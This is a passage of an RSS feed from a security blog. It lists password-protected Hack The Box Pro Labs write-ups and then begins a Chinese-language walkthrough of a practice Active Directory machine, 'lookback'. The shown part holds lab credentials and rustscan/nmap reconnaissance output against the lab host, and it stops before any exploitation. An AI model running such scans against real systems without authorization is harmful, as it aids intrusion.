href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/puppet/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/puppet/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Fri, 01 May 2026 12:56:48 GMT</pubDate></item><item><title>HTB-Mythical</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/mythical/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/mythical/</guid><description>Pro Labs-Mythical</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/mythical/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/mythical/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/mythical/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/mythical/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Fri, 01 May 2026 07:01:24 GMT</pubDate></item><item><title>HTB-FullHouse</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/fullhouse/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/fullhouse/</guid><description>Pro Labs-FullHouse</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/fullhouse/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/fullhouse/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/fullhouse/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/fullhouse/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 30 Apr 2026 16:49:58 GMT</pubDate></item><item><title>HTB-Odyssey</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/odyssey/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/odyssey/</guid><description>Pro Labs-Odyssey</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/odyssey/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/odyssey/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/odyssey/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/odyssey/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 29 Apr 2026 19:10:48 GMT</pubDate></item><item><title>HTB-RPG</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rpg/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rpg/</guid><description>Pro Labs-RPG</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rpg/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rpg/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rpg/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/rpg/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Wed, 29 Apr 2026 15:33:48 GMT</pubDate></item><item><title>HTB-Control</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/control/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/control/</guid><description>Pro Labs-Control</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/control/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/control/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/control/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/control/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 28 Apr 2026 19:32:38 GMT</pubDate></item><item><title>HTB-Hades</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/hades/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/hades/</guid><description>Pro Labs-Hades</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/hades/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/hades/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/hades/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/hades/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 28 Apr 2026 14:28:50 GMT</pubDate></item><item><title>HTB-Intercept</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/intercept/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/intercept/</guid><description>Pro Labs-Intercept</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/intercept/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/intercept/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/intercept/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/intercept/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 28 Apr 2026 08:56:47 GMT</pubDate></item><item><title>HTB-Push</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/push/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/push/</guid><description>Pro Labs-Push</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/push/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/push/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/push/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/push/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Tue, 28 Apr 2026 04:53:13 GMT</pubDate></item><item><title>HTB-Trusted</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/trusted/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/trusted/</guid><description>Pro Labs-Trusted</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/trusted/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/trusted/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/trusted/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/trusted/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 27 Apr 2026 14:05:09 GMT</pubDate></item><item><title>HTB-Klendathu</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/klendathu/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/klendathu/</guid><description>Pro Labs-Klendathu</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/klendathu/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/klendathu/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/klendathu/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/klendathu/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Mon, 27 Apr 2026 08:27:06 GMT</pubDate></item><item><title>HTB-Sidecar</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/sidecar/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/sidecar/</guid><description>Pro Labs-Sidecar</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/sidecar/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/sidecar/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/sidecar/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/sidecar/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 26 Apr 2026 13:37:28 GMT</pubDate></item><item><title>HTB-Tea</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tea/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tea/</guid><description>Pro Labs-Tea</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tea/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tea/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tea/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tea/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sun, 26 Apr 2026 06:10:01 GMT</pubDate></item><item><title>HTB-Heron</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/heron/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/heron/</guid><description>Pro Labs-Heron</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/heron/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/heron/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/heron/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/heron/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 25 Apr 2026 20:23:20 GMT</pubDate></item><item><title>HTB-Reflection</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/reflection/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/reflection/</guid><description>Pro Labs-Reflection</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/reflection/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/reflection/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/reflection/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/reflection/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 25 Apr 2026 14:19:39 GMT</pubDate></item><item><title>HTB-Tengu</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tengu/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tengu/</guid><description>Pro Labs-Tengu</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tengu/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tengu/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tengu/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/tengu/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Sat, 25 Apr 2026 05:23:55 GMT</pubDate></item><item><title>HTB-Cybernetics</title><link>https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/cybernetics/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/cybernetics/</guid><description>Pro Labs-Cybernetics</description><content:encoded>&lt;p&gt;This article is password-protected. Please visit &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/cybernetics/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/cybernetics/&lt;/a&gt; to unlock and view the full content.&lt;/p&gt; &lt;blockquote&gt;This rendering was automatically generated by Frosti Feed and may have formatting issues. For the best experience, please visit: &lt;a href=&quot;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/cybernetics/&quot;&gt;https://heathc1iff-sec.github.io/blog/hackthebox-prolabs/cybernetics/&lt;/a&gt;&lt;/blockquote&gt;</content:encoded><dc:creator>呼啸山庄</dc:creator><pubDate>Thu, 23 Apr 2026 19:10:20 GMT</pubDate></item><item><title>MazeSec-lookback</title><link>https://heathc1iff-sec.github.io/blog/qq-group/lookback/</link><guid isPermaLink="true">https://heathc1iff-sec.github.io/blog/qq-group/lookback/</guid><description>QQ Group Virtual Machine</description><content:encoded>&lt;h1&gt;靶机信息&lt;/h1&gt;
&lt;h2&gt;详情&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;靶机：lookback &lt;/p&gt;
&lt;p&gt;作者：wackymaker (QQ: 3456458902) &lt;/p&gt;
&lt;p&gt;靶机ID: 632 &lt;/p&gt;
&lt;p&gt;系统：Windows（ad） &lt;/p&gt;
&lt;p&gt;难度：hard &lt;/p&gt;
&lt;p&gt;链接：&lt;u&gt;&lt;a href=&quot;https://mega.nz/file/GxgggYIR#T4gVR6wA9A3zy7r9qzo0gzxAzgIHI-_yURnsng-4tNw&quot;&gt;https://mega.nz/file/GxgggYIR#T4gVR6wA9A3zy7r9qzo0gzxAzgIHI-_yURnsng-4tNw&lt;/a&gt;&lt;/u&gt; &lt;/p&gt;
&lt;p&gt;链接：&lt;u&gt;&lt;a href=&quot;https://pan.baidu.com/s/1fpP1MyMAyyxe1hLrBG_LGg?pwd=7qgb&quot;&gt;https://pan.baidu.com/s/1fpP1MyMAyyxe1hLrBG_LGg?pwd=7qgb&lt;/a&gt;&lt;/u&gt; &lt;/p&gt;
&lt;p&gt;初始凭证：hank\HrUhoX2r6c7Jgxg2qiTY&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;启动（失败）&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/lookback-1.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;配置&lt;/h2&gt;
&lt;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;彻底关机 &lt;code&gt;**lookback**&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;在 &lt;code&gt;**Storage**&lt;/code&gt; 里只做删除，不做新增&lt;/li&gt;
&lt;li&gt;找到 &lt;code&gt;**NVMe Controller**&lt;/code&gt; 下的 &lt;code&gt;**lookback-disk1.vdi**&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;点“Remove Attachment”&lt;/li&gt;
&lt;li&gt;保存&lt;/li&gt;
&lt;li&gt;重新打开设置，确认 &lt;code&gt;**NVMe**&lt;/code&gt; 下已经空了&lt;/li&gt;
&lt;li&gt;再把这块盘添加到 &lt;code&gt;**SATA Controller -&amp;gt; Port 0**&lt;/code&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;&lt;img src=&quot;https://heathc1iff-sec.github.io/image/qq%20group/lookback-2.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h2&gt;IP地址&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# arp-scan --interface=eth1 --localnet | grep &amp;quot;08:00:27&amp;quot;  
172.16.55.128   08:00:27:2f:a0:3b       PCS Systemtechnik GmbH
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;信息收集&lt;/h1&gt;
&lt;h2&gt;rustscan&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# rustscan -a 172.16.55.128 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where &amp;#39;404 Not Found&amp;#39; meets &amp;#39;200 OK&amp;#39;.

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;s speed. Use the Docker image, or up the Ulimit with &amp;#39;--ulimit 5000&amp;#39;. 
Open 172.16.55.128:445
Open 172.16.55.128:1433
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;同步时间&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;┌──(web)─(root㉿kali)-[/home/kali]
└─# nmap -p 445 --script smb2-time 172.16.55.128
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-11 13:40 +0800
Nmap scan report for dc01.lookback.htb (172.16.55.128)
Host is up (0.00027s latency).

PORT    STATE SERVICE
445/tcp open  microsoft-ds
MAC Address: 08:00:27:2F:A0:3B (Oracle VirtualBox virtual NIC)

Host script results:
| smb2-time: 
|   date: 2026-04-11T06:01:38
|_  start_date: N/A

Nmap done: 1 IP address (1 host up) scanned in 1.25 seconds
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code class=&quot;language-plain&quot;&gt;sudo timedatectl set-timezone UTC
sudo date -s &amp;quot;2026-04-11 06:01:38&amp;quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;enum4linux-ng&lt;/h2&gt;
&lt;pre&gt;&lt;code class=&quot;language-c&quot;&gt;┌──(web)─(root㉿kali)-[/home/…/Desktop/hmv/lookback/myself]
└─# rustscan -a 172.16.55.128 -- -A
.----. .-. .-. .----..---.  .----. .---.   .--.  .-. .-.
| {}  }| { } |{ {__ {_   _}{ {__  /  ___} / {} \ |  `| |
| .-. \| {_} |.-._} } | |  .-._} }\     }/  /\  \| |\  |
`-&amp;#39; `-&amp;#39;`-----&amp;#39;`----&amp;#39;  `-&amp;#39;  `----&amp;#39;  `---&amp;#39; `-&amp;#39;  `-&amp;#39;`-&amp;#39; `-&amp;#39;
The Modern Day Port Scanner.
________________________________________
: http://discord.skerritt.blog         :
: https://github.com/RustScan/RustScan :
 --------------------------------------
RustScan: Where &amp;#39;404 Not Found&amp;#39; meets &amp;#39;200 OK&amp;#39;.

[~] The config file is expected to be at &amp;quot;/root/.rustscan.toml&amp;quot;
[!] File limit is lower than default batch size. Consider upping with --ulimit. May cause harm to sensitive servers
[!] Your file limit is very small, which negatively impacts RustScan&amp;#39;s speed. Use the Docker image, or up the Ulimit with &amp;#39;--ulimit 5000&amp;#39;. 
Open 172.16.55.128:445
Open 172.16.55.128:1433
[~] Starting Script(s)
[&amp;gt;] Running script &amp;quot;nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A&amp;quot; on ip 172.16.55.128
Depending on the complexity of the script, results may take some time to appear.
[~] Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-11 11:47 +0800
NSE: Loaded 158 scripts for scanning.
NSE: Script Pre-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:47
Completed NSE at 11:47, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:47
Completed NSE at 11:47, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:47
Completed NSE at 11:47, 0.00s elapsed
Initiating ARP Ping Scan at 11:47
Scanning 172.16.55.128 [1 port]
Completed ARP Ping Scan at 11:47, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 11:47
Completed Parallel DNS resolution of 1 host. at 11:47, 4.50s elapsed
DNS resolution of 1 IPs took 4.50s. Mode: Async [#: 3, OK: 0, NX: 0, DR: 1, SF: 0, TR: 6, CN: 0]
Initiating SYN Stealth Scan at 11:47
Scanning 172.16.55.128 [2 ports]
Discovered open port 445/tcp on 172.16.55.128
Discovered open port 1433/tcp on 172.16.55.128
Completed SYN Stealth Scan at 11:47, 0.01s elapsed (2 total ports)
Initiating Service scan at 11:47
Scanning 2 services on 172.16.55.128
Completed Service scan at 11:47, 6.02s elapsed (2 services on 1 host)
Initiating OS detection (try #1) against 172.16.55.128
Retrying OS detection (try #2) against 172.16.55.128
NSE: Script scanning 172.16.55.128.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 11:48
NSE Timing: About 99.65% done; ETC: 11:48 (0:00:00 remaining)
Completed NSE at 11:48, 40.04s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 11:48
Completed NSE at 11:48, 0.05s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 11:48
Completed NSE at 11:48, 0.00s elapsed
Nmap scan report for 172.16.55.128
Host is up, received arp-response (0.00036s latency).
Scanned at 2026-04-11 11:47:53 CST for 50s

PORT     STATE SERVICE       REASON          VERSION
445/tcp  open  microsoft-ds? syn-ack ttl 128
1433/tcp open  ms-sql-s      syn-ack ttl 128 Microsoft SQL Server 2022 16.00.1000.00; RTM
| ms-sql-ntlm-info: 
|   172.16.55.128:1433: 
|     Target_Name: LOOKBACK
|     NetBIOS_Domain_Name: LOOKBACK
|     NetBIOS_Computer_Name: DC01
|     DNS_Domain_Name: lookback.htb
|     DNS_Computer_Name: dc01.lookback.htb
|     DNS_Tree_Name: lookback.htb
|_    Product_Version: 10.0.20348
|_ssl-date: 2026-04-11T03:57:19+00:00; +8m36s from scanner time.
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Issuer: commonName=SSL_Self_Signed_Fallback
| Public Key type: rsa
| Public Key bits: 3072
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2026-04-11T03:52:01
| Not valid after:  2056-04-11T03:52:01
| MD5:     7474 440a 16ce 3fac dfe7 9c40 1237 c0fc
| SHA-1:   98b5 8200 df9f cf7c c7fa 7481 62b8 895c b5b8 4634
| SHA-256: 258a 88d1 3b16 1c42 a05e c7d7 ea41 b3da fee5 7ee2 cc7d dcb6 ee04 ae2f 5885 8c54
| -----BEGIN CERTIFICATE-----
| MIIEADCCAmigAwIBAgIQGm3HGZvOj5VCSzUQsQ5msDANBgkqhkiG9w0BAQsFADA7
| MTkwNwYDVQQDHjAAUwBTAEwAXwBTAGUAbABmAF8AUwBpAGcAbgBlAGQAXwBGAGEA
| bABsAGIAYQBjAGswIBcNMjYwNDExMDM1MjAxWhgPMjA1NjA0MTEwMzUyMDFaMDsx
| OTA3BgNVBAMeMABTAFMATABfAFMAZQBsAGYAXwBTAGkAZwBuAGUAZABfAEYAYQBs
| AGwAYgBhAGMAazCCAaIwDQYJKoZIhvcNAQEBBQADggGPADCCAYoCggGBAPUHgbuD
| bBc5qBelr4X1WCI1KsW3GRBACa60P5AzaQwfTr2h0IdYNvurfgAmQtyvXjaPoJIT
| CJ4ssEQRJZ0wf6m7xsphUyBV3G2yPFNtYb7aPXv7qhKO4imjbeGVT638HZLYFMgs
| CTIsqIpP+910po23zNwZsEB6Y/vhAtx4aswg4RHV0SpB6dEVwNElsCEuQ5rFnZAu
| m3hRa/+lYCQHadfwEVG25RRWMSywSAz6hJ/4OlkWcXO15M4sZUefQWM5VE/xKeUc
| yVhEv2G7xTwnJ5vqWyxz+IvnibUc6WRUqZwQof1fyjey2fPGIAC/V27pNrnPvl1a
| mOUdZpVwI3Lt0CBvDMAIGKQoBnc4jtuBLde4JRtDuFJHTp+0H1MRypV1bFF6wfcW
| byu/mxmTNfQdPPct11lCEF22kWtmf/AVtW92N89uBlv46xiBoeepYjTyVFmGNBtm
| vdl4zopzGp0hF9lKaxDDGPJ/RBvE/bBlr/XgoEhkAZsNgmCGSIeSH0COLQIDAQAB
| MA0GCSqGSIb3DQEBCwUAA4IBgQCWBFp9iElHXo55braQc+d4qgg9qb773LOcW96R
| WUoKFRn+L5xH8pCSx1CS8iTs3aUa0S5xwtoCsRXGZIVSXqbaqBfyQSgtm3fJuGPH
| dPYz6h2P7KFJUOxBgdiH/xhL/7w8TTdq4x6X4V9q6gqXOEL33+ygV4lupiKCqXWh
| zfgOiXADf+1fwN6Kq3E6mkwA03K3s9bcAsu7GfmiKHx0nBIuNZMa2wup4rHp+kyT
| e5UNbvhtTn5nnbzWZgVoTJWxDTZgxqdh9o8pZquH0s5PH48Ze2qVZjavd3hyEX09
| I0I3O4kWqNqz8jhLM53OHR+fz1FHfLRfFSmAYPloFYZAw7/bTn6ERZNjBvRoRm7J
| M5E6WzdXd2AwFGUmcYdtdN2pW9T+0ki55L9qDOAcLCUMfYqEl2Au55IhNyyWJNgX
| leMTjln6ZLV/Yej/GieHtUlU5Q18hMHmzoMD3I68ig6BhmZVBtrlF028Pp67/z/z
| rqikA3uC/zht8YXVSceyw/EVr0Q=
|_-----END CERTIFICATE-----
| ms-sql-info: 
|   172.16.55.128:1433: 
|     Version: 
|       name: Microsoft SQL Server 2022 RTM
|       number: 16.00.1000.00
|       Product: Microsoft SQL Server 2022
|       Service pack level: RTM
|       Post-SP patches applied: false
|_    TCP port: 1433
MAC Address: 08:00:27:2F:A0:3B (Oracle VirtualBox virtual NIC)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Microsoft Windows 2022|11|2016 (92%)
OS CPE: cpe:/o:microsoft:windows_server_2022 cpe:/o:microsoft:windows_11 cpe:/o:microsoft:windows_server_2016
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
Aggressive OS guesses: Microsoft Windows Server 2022 (92%), Microsoft Windows 11 21H2 (85%), Microsoft Windows Server 2016 (85%)
No exact OS matches for host (test conditions non-ideal).
TCP/IP fingerprint:
SCAN(V=7.98%E=4%D=4/11%OT=445%CT=%CU=%PV=Y%DS=1%DC=D%G=N%M=080027%TM=69D9C49B%P=x86_64-pc-linux-gnu)
SEQ(SP=F3%GCD=1%ISR=FB%TI=I%TS=A)
SEQ(SP=FF%GCD=1%ISR=10C%TI=I%TS=A)
